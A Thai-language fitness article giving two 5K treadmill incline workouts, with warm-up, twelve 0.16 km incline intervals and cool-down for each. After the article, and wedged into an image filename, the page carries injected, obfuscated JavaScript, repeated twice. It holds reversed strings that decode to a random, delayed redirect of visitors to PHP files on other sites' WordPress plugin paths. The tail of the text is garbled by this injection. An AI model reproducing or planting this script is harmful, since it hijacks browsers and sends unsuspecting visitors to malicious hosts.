สำหรับแผนการฝึกครั้งนี้ ออกแบบมาเพื่อนักวิ่งมือใหม่ที่มีเป้าหมายจะลงแข่งขันวิ่งระยะ 5 กิโลเมตร และสำหรับนักวิ่งที่มีประสบการณ์ ต้องการซ้อมวิ่งเบาๆ หรือเพื่อเสริมความแข็งแรงให้กับช่วงล่าง ด้วยการฝึกวิ่งไต่ความชัน ทั้งนี้ยังเหมาะกับสภาพบรรยากาศในบ้านเราที่มีฝุ่น PM2.5 เยอะในขั้นอันตราย การวิ่ง Indoor ด้วยลู่วิ่งจึงเป็นคำตอบในการรักษาความฟิต
Indoor running workout: แผนฝึกซ้อมวิ่ง 5K บนลู่วิ่ง
วิ่งบนลู่วิ่งคร่าวนี้ มี 2 แบบ ที่ค่อนข้างท้าทายสำหรับนักวิ่ง นั้นคือการวิ่งโดยมีการเซตความชัน เพื่อการเผาผลาญไขมันที่ดีขึ้นและสร้างความแข็งแกร่งให้ร่างกาย แถมไม่น่าเบื่อด้วย แนะนำให้ฝึกวิ่งสัปดาห์ละ 3-4 ครั้ง
Hills 5K
เริ่มต้นด้วยการจ๊อกกิ้งเบาๆ เพื่อวอร์มอัพ 2 นาที ความชัน (incline) ที่ 0.5% และจ๊อกกิ้ง 2 นาที ที่ความชัน 1% และเข้าสู่ Main set
- 0.16 km ความชัน 1.5%
- 0.16 km ความชัน 1%
- 0.16 km ความชัน 3%
- 0.16 km ความชัน 2.5%
- 0.16 km ความชัน 4%
- 0.16 km ความชัน 5%
- 0.16 km ความชัน 4%
- 0.16 km ความชัน 6%
- 0.16 km ความชัน 4%
- 0.16 km ความชัน 5%
- 0.16 km ความชัน 4%
- 0.16 km ความชัน 2.5%
ทำการ Cool-Down อีก 2 นาที ที่ความชัน 1% และอีก 2 นาทีที่ความชัน 0.5%
หมายเหตุ: จำนวนการเปลี่ยนความชัน 12 ครั้ง ถ้าวิ่งแล้วยังไม่ถึง 5 กิโลเมตร ให้วกกลับไม่วิ่งซ้ำอีกครั้งจนครบ
:max_bytes(150000):strip_icc():format(webp)/womenontreadmill-59777698d963ac00106be68d.jpg)
Mountain 5K
เริ่มต้นด้วยการจ๊อกกิ้งเบาๆ เพื่อวอร์มอัพ 2 นาที ความชันที่ 1.5% และจ๊อกกิ้ง 2 นาที ที่ความชัน 2% และเข้าสู่ Main set
- 0.16 km ความชัน 2.5%
- 0.16 km ความชัน 3.5%
- 0.16 km ความชัน 5%
- 0.16 km ความชัน 4.5%
- 0.16 km ความชัน 6%
- 0.16 km ความชัน 7%
- 0.16 km ความชัน 6%
- 0.16 km ความชัน 8%
- 0.16 km ความชัน 6%
- 0.16 km ความชัน 7%
- 0.16 km ความชัน 6%
- 0.16 km ความชัน 4.5%
ทำการ Cool-Down อีก 2 นาที ที่ความชัน 2% และอีก 2 นาทีที่ความชัน 1.5%
หมายเหตุ: จำนวนการเปลี่ยนความชัน 12 ครั้ง ถ้าวิ่งแล้วยังไม่ถึง 5 กิโลเมตร ให้วกกลับไม่วิ่งซ้ำอีกครั้งจนครบ
สำหรับนักวิ่งคนไหนที่ไม่สามารถวิ่งครบ 5K ได้ อาจจะรู้สึกเหนื่อยหรือไม่สบายตัว ให้หยุดและพัก ก่อนจะกลับมาทำการวิ่งใหม่อีกครั้ง และเพื่อเพิ่มความท้าทายให้กับตัวเอง ให้ลองวิ่งเร็วขึ้น แต่ระยะทางเดิมตามความชันที่กำหนดไว้ และอย่าลืมสังเกต HR Zone ตัวเองด้วยว่าอยู่ในระดับไหน
{if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</stage-7-pho<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>tography-jP7lHPZNiuE-unsplash-75x75.jpg)
